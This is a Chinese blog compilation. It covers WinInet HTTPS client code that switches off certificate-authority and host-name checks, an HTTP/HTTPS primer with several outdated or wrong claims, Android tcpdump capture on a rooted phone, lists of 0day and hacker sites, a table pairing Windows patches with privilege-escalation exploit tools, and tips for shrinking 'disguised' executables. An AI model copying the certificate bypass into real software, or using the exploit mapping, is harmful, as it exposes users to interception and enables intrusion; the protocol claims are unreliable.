使用WinInet访问没有证书的Https (GET/POST)

#include <Windows.h>  
#include <Wininet.h>  
#include <stdio.h>  
#pragma comment(lib,”wininet.lib”)  
#define TRANSFER_SIZE    1024  
int main()  
{  
    int nRet = 1;  
    LPCTSTR lpszAgent = “WinInetGet/0.1”;  
    HINTERNET hInternet = InternetOpen(lpszAgent, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);  
    if( ! hInternet ) {  
        return 1;  
    }  
    LPCTSTR lpszServerName = “192.168.22.199”; //设置server  
    INTERNET_PORT nServerPort = INTERNET_DEFAULT_HTTPS_PORT; // HTTPS端口443  
    LPCTSTR lpszUserName = NULL; //无登录用户名  
    LPCTSTR lpszPassword = NULL; //无登录密码  
    DWORD dwConnectFlags = 0;  
    DWORD dwConnectContext = 0;  
    HINTERNET hConnect = InternetConnect(hInternet,  
                                        lpszServerName, nServerPort,  
                                        lpszUserName, lpszPassword,  
                                        INTERNET_SERVICE_HTTP,   
                                        dwConnectFlags, dwConnectContext);  
    if( ! hConnect ) {  
        return 1;  
    }   
    LPCTSTR lpszVerb = “GET”;  
    LPCTSTR lpszObjectName = “/”;  
    LPCTSTR lpszVersion = NULL;    // 默认.  
    LPCTSTR lpszReferrer = NULL;   // 没有引用页  
    LPCTSTR *lplpszAcceptTypes = NULL; // Accpet所有类型.  
    DWORD dwOpenRequestFlags = INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP |  
        INTERNET_FLAG_KEEP_CONNECTION |  
        INTERNET_FLAG_NO_AUTH |  
        INTERNET_FLAG_NO_COOKIES |  
        INTERNET_FLAG_NO_UI |  
        //设置启用HTTPS  
        INTERNET_FLAG_SECURE |  
        INTERNET_FLAG_IGNORE_CERT_CN_INVALID|  
        INTERNET_FLAG_RELOAD;  
    DWORD dwOpenRequestContext = 0;  
    //初始化Request  
    HINTERNET hRequest = HttpOpenRequest(hConnect, lpszVerb, lpszObjectName, lpszVersion,  
                                        lpszReferrer, lplpszAcceptTypes,  
                                        dwOpenRequestFlags, dwOpenRequestContext);  
    if( ! hRequest ) {  
        goto GOTO_EXIT;  
    }  
    //发送Request  
    BOOL bResult = HttpSendRequest(hRequest, NULL, 0, NULL, 0);  
    if ( ! bResult && GetLastError() == ERROR_INTERNET_INVALID_CA )   
    {  
        DWORD dwFlags;  
        DWORD dwBuffLen = sizeof(dwFlags);  
        InternetQueryOption (hRequest, INTERNET_OPTION_SECURITY_FLAGS, (LPVOID)&dwFlags, &dwBuffLen);  
        dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA;  
        InternetSetOption (hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );  
        bResult = HttpSendRequest(hRequest, NULL, 0, NULL, 0);  
    }  
    if( ! bResult ) {  
        goto GOTO_EXIT;  
    }  
    //获得HTTP Response Header信息  
    char szBuff[TRANSFER_SIZE];  
    DWORD dwReadSize = TRANSFER_SIZE;  
    bResult = HttpQueryInfo(hRequest, HTTP_QUERY_RAW_HEADERS_CRLF, szBuff, &dwReadSize, NULL);  
    if( ! bResult ) {  
        goto GOTO_EXIT;  
    }  
    szBuff[dwReadSize] = ‘/0’;  
    printf(“%s/n”, szBuff);  
    //HTTP Response 的 Body  
    DWORD dwBytesAvailable;  
    bResult = InternetQueryDataAvailable(hRequest, &dwBytesAvailable, 0, 0);  
    if( ! bResult ) {  
        goto GOTO_EXIT;  
    }  
    if( dwBytesAvailable > TRANSFER_SIZE )   
    {  
        printf(“tool long %d /b”, GetLastError(), dwBytesAvailable);  
        goto GOTO_EXIT;  
    }  
    DWORD dwBytesRead;  
    bResult = InternetReadFile(hRequest, szBuff, dwBytesAvailable, &dwBytesRead);  
    if( ! bResult ) {  
        goto GOTO_EXIT;  
    }  
    szBuff[dwBytesRead] = ‘/0’;  
    printf(“%s/n”, szBuff);   
    nRet = 0;  
GOTO_EXIT:  
    if( hRequest ) {  
        InternetCloseHandle(hRequest);  
    }  
    if( hConnect ) {  
        InternetCloseHandle(hConnect);  
    }  
    if( hInternet ) {  
        InternetCloseHandle(hInternet);  
    }  
    return nRet;  
}  
 


上面是GET数据的,下面是POST数据的,主要修改代码如下


view plaincopy to clipboardprint?
#include <Windows.h>   
#include <Wininet.h>   
#include <stdio.h>   
#pragma comment(lib,”wininet.lib”)   
#define TRANSFER_SIZE    1024   
int main()   
{   
    int nRet = 1;   
    LPCTSTR lpszAgent = “WinInetGet/0.1”;   
    HINTERNET hInternet = InternetOpen(lpszAgent, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);   
    if( ! hInternet ) {   
        return 1;   
    }   
    LPCTSTR lpszServerName = “192.168.22.199”; //设置server   
    INTERNET_PORT nServerPort = INTERNET_DEFAULT_HTTPS_PORT; // HTTPS端口443   
    LPCTSTR lpszUserName = NULL; //无登录用户名   
    LPCTSTR lpszPassword = NULL; //无登录密码   
    DWORD dwConnectFlags = 0;   
    DWORD dwConnectContext = 0;   
    HINTERNET hConnect = InternetConnect(hInternet,   
        lpszServerName, nServerPort,   
        lpszUserName, lpszPassword,   
        INTERNET_SERVICE_HTTP,    
        dwConnectFlags, dwConnectContext);   
    if( ! hConnect ) {   
        return 1;   
    }      
    LPCTSTR lpszVerb = “POST”;   
    LPCTSTR lpszObjectName = “/vpn/userlogin.php”;   
    LPCTSTR lpszVersion = NULL;    // 默认.   
    LPCTSTR lpszReferrer = NULL;   // 没有引用页   
    LPCTSTR *lplpszAcceptTypes = NULL; // Accpet所有类型.   
    DWORD dwOpenRequestFlags = INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP |   
        INTERNET_FLAG_KEEP_CONNECTION |   
        INTERNET_FLAG_NO_AUTH |   
        INTERNET_FLAG_NO_COOKIES |   
        INTERNET_FLAG_NO_UI |   
        //设置启用HTTPS   
        INTERNET_FLAG_SECURE |   
        INTERNET_FLAG_IGNORE_CERT_CN_INVALID|   
        INTERNET_FLAG_RELOAD;   
    DWORD dwOpenRequestContext = 0;   
    //初始化Request   
    HINTERNET hRequest = HttpOpenRequest(hConnect, lpszVerb, lpszObjectName, lpszVersion,   
        lpszReferrer, lplpszAcceptTypes,   
        dwOpenRequestFlags, dwOpenRequestContext);   
    if( ! hRequest ) {   
        goto GOTO_EXIT;   
    }   
    bool bResult = false;   
    char szHeaderBuff[TRANSFER_SIZE] = {‘/0’};   
    int nHeaderSize = sprintf(szHeaderBuff, “%s”, “Content-Type:application/x-www-form-urlencoded”);   
    char szReqBuff[TRANSFER_SIZE] = {‘/0’};   
    int nReqSize = sprintf(szReqBuff, “user=%s&pass=%s”, “test”, “test”);   
    //发送Request   
    bResult = HttpSendRequest(hRequest, szHeaderBuff, nHeaderSize, szReqBuff, nReqSize);   
    if ( ! bResult && GetLastError() == ERROR_INTERNET_INVALID_CA )    
    {   
        DWORD dwFlags;   
        DWORD dwBuffLen = sizeof(dwFlags);   
        InternetQueryOption (hRequest, INTERNET_OPTION_SECURITY_FLAGS, (LPVOID)&dwFlags, &dwBuffLen);   
        dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA;   
        InternetSetOption (hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );   
        bResult = HttpSendRequest(hRequest, szHeaderBuff, nHeaderSize, szReqBuff, nReqSize);   
    }   
    if( ! bResult )    
    {   
        DWORD dwError = GetLastError();   
        printf(“%d/n”, dwError);   
        goto GOTO_EXIT;   
    }   
    //获得HTTP Response Header信息   
    char szBuff[TRANSFER_SIZE];   
    DWORD dwReadSize = TRANSFER_SIZE;   
    bResult = HttpQueryInfo(hRequest, HTTP_QUERY_RAW_HEADERS_CRLF, szBuff, &dwReadSize, NULL);   
    if( ! bResult ) {   
        goto GOTO_EXIT;   
    }   
    szBuff[dwReadSize] = ‘/0’;   
    printf(“%s/n”, szBuff);   
    //HTTP Response 的 Body   
    DWORD dwBytesAvailable;   
    bResult = InternetQueryDataAvailable(hRequest, &dwBytesAvailable, 0, 0);   
    if( ! bResult ) {   
        goto GOTO_EXIT;   
    }   
    if( dwBytesAvailable > TRANSFER_SIZE )    
    {   
        printf(“tool long %d /n”, GetLastError(), dwBytesAvailable);   
        goto GOTO_EXIT;   
    }   
    DWORD dwBytesRead;   
    bResult = InternetReadFile(hRequest, szBuff, dwBytesAvailable, &dwBytesRead);   
    if( ! bResult ) {   
        goto GOTO_EXIT;   
    }   
    szBuff[dwBytesRead] = ‘/0’;   
    printf(“%s/n”, szBuff);    
    nRet = 0;   
GOTO_EXIT:   
    if( hRequest ) {   
        InternetCloseHandle(hRequest);   
    }   
    if( hConnect ) {   
        InternetCloseHandle(hConnect);   
    }   
    if( hInternet ) {   
        InternetCloseHandle(hInternet);   
    }   
    return nRet;   
}  


 使用 HTTPS 而不是 HTTP 时,请注意两个差异:
InternetConnect 使用 INTERNET_DEFAULT_HTTPS_PORT,而不是 INTERNET_INVALID_PORT_NUMBER 或 INTERNET_DEFAULT_HTTP_PORT
除了所有其他的选项外,HttpOpenRequest 还使用 INTERNET_FLAG_SECURE 选项。
在 HttpOpenRequest 中或在 InternetOpenUrl 中,可以使用以下两个选项以忽略无效的证书错误:


INTERNET_FLAG_IGNORE_CERT_CN_INVALID:忽略因服务器的证书主机名与请求的主机名不匹配所导致的错误。
INTERNET_FLAG_IGNORE_CERT_DATE_INVALID:忽略由已失效的服务器证书导致的错误。
有关这些标志的更多信息,请参阅 Internet Client SDK 文档。

SSL 和 PCT 功能是由 Schannel.dll 提供的,它在您运行再发布程序 Wintdist.exe 或 Wint351.exe 时会正确安装。有关再发布 Schannel.dll 的信息,请参阅 Redist.txt 或 Axredist.txt。

HTTP 和 HTTPS 协议

HTTP协议是什么?
简单来说,就是一个基于应用层的通信规范:双方要进行通信,大家都要遵守一个规范,这个规范就是HTTP协议。
HTTP协议能做什么?
很多人首先一定会想到:浏览网页。没错,浏览网页是HTTP的主要应用,但是这并不代表HTTP就只能应用于网页的浏览。HTTP是一种协议,只要通信的双方都遵守这个协议,HTTP就能有用武之地。比如咱们常用的QQ,迅雷这些软件,都会使用HTTP协议(还包括其他的协议)。
HTTP协议如何工作?
大家都知道一般的通信流程:首先客户端发送一个请求(request)给服务器,服务器在接收到这个请求后将生成一个响应(response)返回给客户端。
在这个通信的过程中HTTP协议在以下4个方面做了规定:
1.         Request和Response的格式
Request格式:
HTTP请求行 
(请求)头 
空行 
可选的消息体 


注:请求行和标题必须以<CR><LF> 作为结尾(也就是,回车然后换行)。空行内必须只有<CR><LF>而无其他空格。在HTTP/1.1 协议中,所有的请求头,除Host外,都是可选的。
 
实例:
GET / HTTP/1.1
Host: gpcuster.cnblogs.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
If-Modified-Since: Mon, 25 May 2009 03:19:18 GMT
Response格式:
HTTP状态行 
(应答)头 
空行 
可选的消息体
 
实例:
HTTP/1.1 200 OK
Cache-Control: private, max-age=30
Content-Type: text/html; charset=utf-8
Content-Encoding: gzip
Expires: Mon, 25 May 2009 03:20:33 GMT
Last-Modified: Mon, 25 May 2009 03:20:03 GMT
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Mon, 25 May 2009 03:20:02 GMT
Content-Length: 12173
 
-消息体的内容(略)
 
       详细的信息请参考:RFC 2616。
       关于HTTP headers的简要介绍,请查看:Quick reference to HTTP headers
2.         建立连接的方式
HTTP支持2中建立连接的方式:非持久连接和持久连接(HTTP1.1默认的连接方式为持久连接)。
1)         非持久连接
让我们查看一下非持久连接情况下从服务器到客户传送一个Web页面的步骤。假设该贝面由1个基本HTML文件和10个JPEG图像构成,而且所有这些对象都存放在同一台服务器主机中。再假设该基本HTML文件的URL为:gpcuster.cnblogs.com/index.html。
下面是具体步骡:
1.HTTP客户初始化一个与服务器主机gpcuster.cnblogs.com中的HTTP服务器的TCP连接。HTTP服务器使用默认端口号80监听来自HTTP客户的连接建立请求。
2.HTTP客户经由与TCP连接相关联的本地套接字发出—个HTTP请求消息。这个消息中包含路径名/somepath/index.html。
3.HTTP服务器经由与TCP连接相关联的本地套接字接收这个请求消息,再从服务器主机的内存或硬盘中取出对象/somepath/index.html,经由同一个套接字发出包含该对象的响应消息。
4.HTTP服务器告知TCP关闭这个TCP连接(不过TCP要到客户收到刚才这个响应消息之后才会真正终止这个连接)。
5.HTTP客户经由同一个套接字接收这个响应消息。TCP连接随后终止。该消息标明所封装的对象是一个HTML文件。客户从中取出这个文件,加以分析后发现其中有10个JPEG对象的引用。
6.给每一个引用到的JPEG对象重复步骡1-4。
上述步骤之所以称为使用非持久连接,原因是每次服务器发出一个对象后,相应的TCP连接就被关闭,也就是说每个连接都没有持续到可用于传送其他对象。每个TCP连接只用于传输一个请求消息和一个响应消息。就上述例子而言,用户每请求一次那个web页面,就产生11个TCP连接。
2)         持久连接
非持久连接有些缺点。首先,客户得为每个待请求的对象建立并维护一个新的连接。对于每个这样的连接,TCP得在客户端和服务器端分配TCP缓冲区,并维持TCP变量。对于有可能同时为来自数百个不同客户的请求提供服务的web服务器来说,这会严重增加其负担。其次,如前所述,每个对象都有2个RTT的响应延长——一个RTT用于建立TCP连接,另—个RTT用于请求和接收对象。最后,每个对象都遭受TCP缓启动,因为每个TCP连接都起始于缓启动阶段。不过并行TCP连接的使用能够部分减轻RTT延迟和缓启动延迟的影响。
在持久连接情况下,服务器在发出响应后让TCP连接继续打开着。同一对客户/服务器之间的后续请求和响应可以通过这个连接发送。整个Web页面(上例中为包含一个基本HTMLL文件和10个图像的页面)自不用说可以通过单个持久TCP连接发送:甚至存放在同一个服务器中的多个web页面也可以通过单个持久TCP连接发送。通常,HTTP服务器在某个连接闲置一段特定时间后关闭它,而这段时间通常是可以配置的。持久连接分为不带流水线(without pipelining)和带流水线(with pipelining)两个版本。如果是不带流水线的版本,那么客户只在收到前一个请求的响应后才发出新的请求。这种情况下,web页面所引用的每个对象(上例中的10个图像)都经历1个RTT的延迟,用于请求和接收该对象。与非持久连接2个RTT的延迟相比,不带流水线的持久连接已有所改善,不过带流水线的持久连接还能进一步降低响应延迟。不带流水线版本的另一个缺点是,服务器送出一个对象后开始等待下一个请求,而这个新请求却不能马上到达。这段时间服务器资源便闲置了。
HTTP/1.1的默认模式使用带流水线的持久连接。这种情况下,HTTP客户每碰到一个引用就立即发出一个请求,因而HTTP客户可以一个接一个紧挨着发出各个引用对象的请求。服务器收到这些请求后,也可以一个接一个紧挨着发出各个对象。如果所有的请求和响应都是紧挨着发送的,那么所有引用到的对象一共只经历1个RTT的延迟(而不是像不带流水线的版本那样,每个引用到的对象都各有1个RTT的延迟)。另外,带流水线的持久连接中服务器空等请求的时间比较少。与非持久连接相比,持久连接(不论是否带流水线)除降低了1个RTT的响应延迟外,缓启动延迟也比较小。其原因在于既然各个对象使用同一个TCP连接,服务器发出第一个对象后就不必再以一开始的缓慢速率发送后续对象。相反,服务器可以按照第一个对象发送完毕时的速率开始发送下一个对象。
3.         缓存的机制
HTTP/1.1中缓存的目的是为了在很多情况下减少发送请求,同时在许多情况下可以不需要发送完整响应。前者减少了网络回路的数量;HTTP利用一个“过期(expiration)”机制来为此目的。后者减少了网络应用的带宽;HTTP用“验证(validation)”机制来为此目的。
HTTP定义了3种缓存机制:
l Freshness allows a response to be used without re-checking it on the origin server, and can be controlled by both the server and the client. For example, the Expires response header gives a date when the document becomes stale, and the Cache-Control: max-age directive tells the cache how many seconds the response is fresh for.
l Validation can be used to check whether a cached response is still good after it becomes stale. For example, if the response has a Last-Modified header, a cache can make a conditional request using the If-Modified-Since header to see if it has changed.
l Invalidation is usually a side effect of another request that passes through the cache. For example, if URL associated with a cached response subsequently gets a POST, PUT or DELETE request, the cached response will be invalidated.
关于web缓存方面的内容可以参考:Caching Tutorial for Web Authors and Webmasters(英文版)(中文版)
4.         响应授权激发机制
这些机制能被用于服务器激发客户端请求并且使客户端授权。
详细的信息请参考:RFC 2617: HTTP Authentication: Basic and Digest Access
5.        基于HTTP的应用
1 HTTP代理
原理

分类
透明代理 
非透明代理 
反向代理 


2 多线程下载
  
下载工具开启多个发出HTTP请求的线程 
每个http请求只请求资源文件的一部分:Content-Range: bytes 20000-40000/47000 
合并每个线程下载的文件 
3 HTTPS传输协议原理
两种基本的加解密算法类型
对称加密:密钥只有一个,加密解密为同一个密码,且加解密速度快,典型的对称加密算法有DES、AES等
 
非对称加密:密钥成对出现(且根据公钥无法推知私钥,根据私钥也无法推知公钥),加密解密使用不同密钥(公钥加密需要私钥解密,私钥加密需要公钥解密),相对对称加密速度较慢,典型的非对称加密算法有RSA、DSA等
 
HTTPS通信过程
 
优点
  
客户端产生的密钥只有客户端和服务器端能得到 
加密的数据只有客户端和服务器端才能得到明文 
客户端到服务端的通信是安全的 
4 开发web程序时常用的Request Methods
HEAD
(Head方法)要求响应与相应的GET请求的响应一样,但是没有的响应体(response body)。这用来获得响应头(response header)中的元数据信息(meta-infomation)有(很)帮助,(因为)它不需要传输所有的内容。
TRACE
(Trace方法告诉服务器端)返回收到的请求。客户端可以(通过此方法)察看在请求过程中中间服务器添加或者改变哪些内容。
OPTIONS
返回服务器(在指定URL上)支持的HTTP方法。通过请求“*”而不是指定的资源,这个方法可以用来检查网络服务器的功能。
CONNECT
将请求的连接转换成透明的TCP/IP通道,通常用来简化通过非加密的HTTP代理的SSL-加密通讯(HTTPS)。
5 用户与服务器的交互
  
身份认证 
cookie 
带条件的GET 
6 基于Socket编程编写遵循HTTP的程序
什么是HTTPS:
        HTTPS(Secure Hypertext Transfer Protocol)安全超文本传输协议 它是一个安全通信通道,它基于HTTP开发,用于在客户计算机和服务器之间交换信息。它使用安全套接字层(SSL)进行信息交换,简单来说它是HTTP的安全版。 它是由Netscape开发并内置于其浏览器中,用于对数据进行压缩和解压操作,并返回网络上传送回的结果。HTTPS实际上应用了Netscape的安 全全套接字层(SSL)作为HTTP应用层的子层。(HTTPS使用端口443,而不是象HTTP那样使用端口80来和TCP/IP进行通信。)SSL使 用40 位关键字作为RC4流加密算法,这对于商业信息的加密是合适的。HTTPS和SSL支持使用X.509数字认证,如果需要的话用户可以确认发送者是谁。 HTTPS和HTTP的区别: https协议需要到ca申请证书,一般免费证书很少,需要交费。 http是超文本传输协议,信息是明文传输,https 则是具有安全性的ssl加密传输协议 http和https使用的是完全不同的连接方式用的端口也不一样,前者是80,后者是443。
        http的连接很简单,是无状态的 HTTPS协议是由SSL+HTTP协议构建的可进行加密传输、身份认证的网络协议 要比http协议安全 .
       HTTPS解决的问题: 
             1 . 信任主机的问题. 采用https 的server 必须从CA 申请一个用于证明服务器用途类型的证书. 改证书只有用于对应的server 的时候,客户度才信任次主机. 所以目前所有的银行系统网站,关键部分应用都是https 的. 客户通过信任该证书,从而信任了该主机. 其实这样做效率很低,但是银行更侧重安全. 这一点对我们没有任何意义,我们的server ,采用的证书不管自己issue 还是从公众的地方issue, 客户端都是自己人,所以我们也就肯定信任该server. 
            2 . 通讯过程中的数据的泄密和被窜改 
                      1. 一般意义上的https, 就是 server 有一个证书. 
                            a) 主要目的是保证server 就是他声称的server. 这个跟第一点一样. 
                            b) 服务端和客户端之间的所有通讯,都是加密的.
                                            i. 具体讲,是客户端产生一个对称的密钥,通过server 的证书来交换密钥. 一般意义上的 
                                    握手过程. 
                                            ii. 加下来所有的信息往来就都是加密的. 第三方即使截获,也没有任何意义.因为他没有                                     密                   钥.   当然窜改也就没有什么意义了. 
                           2. 少许对客户端有要求的情况下,会要求客户端也必须有一个证书. 
                             a) 这里客户端证书,其实就类似表示个人信息的时候,除了用户名/密码, 还有一个CA 认证过的身份. 应为个人证书一般来说上别人无法模拟的,所有这样能够更深的确认自己的身份. 
                             b) 目前少数个人银行的专业版是这种做法,具体证书可能是拿U盘作为一个备份的载体. HTTPS 一定是繁琐的. 
                            a) 本来简单的http协议,一个get一个response. 由于     https 要还密钥和确认加密算法的需要.单握手就需要6/7 个往返. i. 任何应用中,过多的round trip 肯定影响性能. 
                            b) 接下来才是具体的http协议,每一次响应或者请求, 都要求客户端和服务端对会话的内容做加密/解密. 
                          i. 尽管对称加密/解密效率比较高,可是仍然要消耗过多的CPU,为此有专门的SSL 芯片. 如果CPU 信能比较低的话,肯定会降低性能,从而不能serve 更多的请求.  
                           ii. 加密后数据量的影响. 1. 这个我用128bit 的RC2 测试了一下,加密后数量跟加密前基本相同 符:                              
                 SSL的简介: SSL是Netscape公司所提出的安全保密协议,在浏览器(如Internet Explorer、Netscape Navigator)和Web服务器(如Netscape的Netscape Enterprise Server、ColdFusion Server等等)之间构造安全通道来进行数据传输,SSL运行在TCP/IP层之上、应用层之下,为应用程序提供加密数据通道,它采用了RC4、MD5 以及RSA等加密算法,使用40 位的密钥,适用于商业信息的加密。同时,Netscape公司相应开发了HTTPS协议并内置于其浏览器中,HTTPS实际上就是SSL over HTTP,它使用默认端口443,而不是像HTTP那样使用端口80来和TCP/IP进行通信。HTTPS协议使用SSL在发送方把原始数据进行加密,然 后在接受方进行解密,加密和解密需要发送方和接受方通过交换共知的密钥来实现,因此,所传送的数据不容易被网络黑客截获和解密。 然而,加密和解密过程需要耗费系统大量的开销,严重降低机器的性能,相关测试数据表明使用HTTPS协议传输数据的工作效率只有使用HTTP协议传输的十 分之一。                
              假如为了安全保密,将一个网站所有的Web应用都启用SSL技术来加密,并使用HTTPS协议进行传输,那么该网站的性能和效率将会大大降低,而 且没有这个必要,因为一般来说并不是所有数据都要求那么高的安全保密级别,所以,我们只需对那些涉及机密数据的交互处理使用HTTPS协议,这样就做到鱼 与熊掌兼得。总之不需要用https 的地方,就尽量不要用。 

Android系统手机端抓包方法

最近又搞手机端的东西,网上找了下资料方便用

Android系统手机端抓包方法

ps:抓包前记得先装驱动,一般pc套件都带的有驱动,如果是安卓 2.3等高版本的系统提升root权限的话,要用专用的破解软件,可以百度 谷歌 搜索资料抓包准备

1. Android手机需要先获得root权限。一种是否获得root权限的检验方法:安装并打开终端模拟器(可通过安卓市场等渠道获得)。在终端模拟器界面输入su并回车,若报错则说明未root,若命令提示符从$变#则为rooted;

2. 如果Android手机尚未root,可通过superoneclick或其它方法进行root处理(需要先安装Microsoft .NET Framework)。Superoneclick刷root权限教程:(http://soft.shouji.com.cn/news/501.shtml)

3. 需要先获得 Android SDK

4. 需要获得tcpdump软件,获取地址(http://www.strazzere.com/android/tcpdump)

抓包步骤
1. 将Android手机与电脑USB相连,打开windows命令提示符窗口

2. 将tcpdump程序copy至android手机(该命令前面那个目录文件为本地地址,后面那个目录为目的手机端地址)

C:\android-sdk-windows\platform-tools>adb push c:/tcpdump /data/local/tcpdump

3. 修改tcpdump的权限

C:\android-sdk-windows\platform-tools>adb shell
#chmod 777 /data/local/tcpdump

4. 进入root权限

C:\android-sdk-windows\platform-tools>adb shell
$ su

在运行su指令后,手机终端桌面会出现相应提示信息以确认您对root操作的认可。

5. 运行tcpdump,输入以下命令启动抓包。

/data/local/tcpdump -p -vv -s 0 -w /sdcard/capture.pcap

6. 在手机端执行相应需要进行抓包分析的操作,执行完成后在命令提示符窗口执行Ctrl+C中断抓包进程

7. 将抓包结果复制至本地(前面那个目录为手机端地址,后面那个目录为本地地址)

C:\android-sdk-windows\platform-tools>adb pull /sdcard/capture.pcap c:/

8. 使用Wireshark等工具查看抓包文件capture.pcap

转载 0day发布网站

0day发布网站(2011-07-12 21:29:03)分类:网络安全

1、中文版http://www.wooyun.org/index.php

2、中文版http://www.sitedirsec.com/

3、http://www.sebug.net/

————————————————————————————————–

最新0day发布网站集合

http://www.frsirt.com
http://www.dswlab.com/vir/v20070103.html
http://www.derkeiler.com
http://www.h4cky0u.org
http://www.security.nnov.ru/
http://governmentsecurity.org/
http://www.swerat.com/forums/index.php?act=Login&CODE=01
http://chasenet.org/
http://swerat.com/
http://www.neoteam.com.br

我先来几个我认为比较好的

http://packetstormsecurity.nl/
http://hack.com.ru/
http://www.hackcoza.tk/
http://www.web-hack.ru/
http://www.securiteam.com/
http://www.security.nnov.ru/
http://www.hackerzhell.co.uk/indexmain.php
http://hacktheb0x.tk/
http://neworder.box.sk/
http://www.k-otik.com/
http://www.security-corporation.com/
http://www.securityfocus.com/
http://metasploit.blogspot.com/
http://www.godexp.org/
http://www.milw0rm.com/

自己珍藏的0day漏洞发布网址

这些都是我珍藏的好的漏洞发布网址:

国外:

http://www.frsirt.com/exploits/
http://es.wikipedia.org/wiki/Exploit
http://www.securiteam.com/exploits

国内:

http://www.z1z8.com/
http://forum.eviloctal.com/simple/index.php?f22.html

————————————————————————————————–

国外论坛

www.swerat.com

www.governmentsecurity.org

www.hashkiller.com

www.forum.antichat.ru

www.vulnes.com

sla.ckers.org

forum.xaknet.ru

www.darkc0de.com

178.162.248.58/showthread.php

www.focuecurity.org

jbprojects.net

exploit-db.com

secuntyfocus.com

phrack.org

shell-strom.org

r00tsecurity.org

Abysssec.com

secunrityDot.net

(转载)windows补丁所对应的漏洞编号

KB2360937 MS10-084
KB2478960 MS11-014
KB2507938 MS11-056
KB2566454 MS11-062
KB2646524 MS12-003
KB2645640 MS12-009
KB2641653 MS12-018
KB952004 MS09-012 Pr.exe
KB956572 MS09-012 巴西烤肉
KB971657 MS09-041
KB2620712 MS11-097
KB2393802 MS11-011 ms11011.exe
KB942831 MS08-005
KB2503665 MS11-046 ms11046.exe
KB2592799 MS11-080 ms11080.exe

方便使用记录一下。

WM_SETTEXT消息可以用于进程间传递数据

Windows对于不同的消息有不同的处理,对于WM_SETTEXT系统消息来说就是这样的一个很好的例子。
       对于一般消息来说,如果我们在一个进程中发送某个消息利用SendMessage将消息发给另外一个进程, SendMessage是直接查找对应窗体的窗口过程进行调用。如果消息中传递的是普通的变量(小于4B),那么可以直接在消息参数中带过去;如果要传递的是一个字符串呢?我们只有传递字符串的指针:将指针转换为一个32bit的数穿过去。这里就会出现问题。由于我们穿过去的地址是自己进程地址空间的地址,但是此地址到了另外一个接收进程之后,接收进程按照此地址去读取信息可能就会出错。Windows不知道用户要传递的是指针,也不会帮助用户将该指针所指的字符串从发送方的地址空间中拷贝到自己进程空间的缓冲区里面。这样以来,按照发送方传过来的地址访问就成了非法访问了。因此,不要在WM_USER等自定义消息中传递指针(除非是同一个进程)。
       但是对于一些系统消息来说,Windows可能就不是这么处理的。例如这里所说的WM_SETTEXT消息。此消息默认的lParam参数携带的是一个字符串指针,该字符串用于设置窗体文本信息。当Windows处理SendMessage、PostMessage处理消息(例如WM_SETTEXT消息)的时候,它会检查消息的类型,读取lParam指针,将它指向的字符串拷贝到接收消息进程的缓冲区里头,并且修改lParam参数,以便在两个进程的地址空间中传递信息。
       对于编辑框(Edit)来说,此消息字符串用于设置文本框内容;对于Combox控件来说,用于设置组合框的文本框部分内容;对于按钮来说,就是按钮的名字,对于其它的窗体来说,是窗体的标题。
       可以用FindWindow查找到某个窗体,得到去句柄,然后用SendMessage发送此消息修改窗体的标题和控件的名字等。发现一般的窗体都可以被修改。:_)
       对于Windows系统带的计算器,窗体名字也可以改,文本框也可以。试图修改其按钮(1,2,3等)的标题,发现没有效果。但是用Spy++查看,发现按钮的Caption确实被改了,但是Windows的计算器做了处理,并没有将Caption显示出来,可能上面显示的文字信息是画上去的,不是按钮的名字。有可能是设置了Owner Draw属性来自己绘制按钮。再或者是按钮上面的文字信息是一幅图形。用Spy++捕获到窗体,获取窗体属性,得知计算器中的数字按钮确实使用了Owner Draw风格来自绘的。
       试了一下,可以将按钮设置为BS_BitMap,然后在对话框类中为按钮载入一个Bitmap,this->m_BitMapBtn.SetBitmap(::LoadBitmap(NULL, MAKEINTRESOURCE(32760)));然后按钮就显示的是载入的位图,而不是caption了。不过caption是存在的。

   利用这个也可以防止人家随便修改你空间的按钮,嘿

VC++6.0编译出更小的伪装程序

人们都说vc做出的东西可以小点,现在你打开vc编译一个Hello World出来!点属性看下,咦!我没走眼吧,就一Hello World就160kb真是要人命啊!
呵呵!上面的情况是笔者所遭遇的情况.不过后来了解vc可以通过设置参数来自定义编译方式.为什么文件那么大!主要是编译器加入了很多没必要的代码(这里是对我们而言,不过有些代码还是有利于安全的).好了我们就手动改下编译器的参数来看看能到多大!
我们主要用到的技巧有:
一,使用release版而不用debug版编译
使用debug版编译会生成许多垃圾信息.我们先使用默认的设置进行一下编译.可以看到编译后生成的文件有152k之巨.使用release版编译具体方法是:在”build(编译)—>Configuration(配置)”中将”Win32 debug”移去,然后再次编译可以发现文件已经小了很多,才24k.但离我们的目标还很远呢.
二,设置自己的入口点函数
C或C++程序默认的入口函数是main()或WinMain(),但我们现在不用什么Main,WinMain.因为这些都不是直接的入口点,编译器在产生exe文件的时候,将为我们生成真正的入口点.下面我们来定义自己的入口函数,具体是把main或WinMain改成其它的名字(如MyFun),打开”Project(工程)—>settings(设置)”选项,选中”link”选项卡,在”Category(分类)”下拉列表中选”output”,在” Entry-Point symbol(输入项-点符号)”中输入我们刚才定义的入口函数(MyFun),在源程序中也要做相应修改,然后再编译.现在是16k了:)
三,更改编译对齐方式
通常VC在编译的时候,采用的对齐方式是0x1000,即4096bytes,我们现在将他改成0x200,即512bytes.
在刚才打开的”link”选项卡,在下面的”Project options(工程选项)”中添加:/align:512(还可以将512设
置的更小如16,32…..).注意两个参数之间有个空格. 3k了^_^用32试试 1.84k好~~~用16 1.79k天哪!
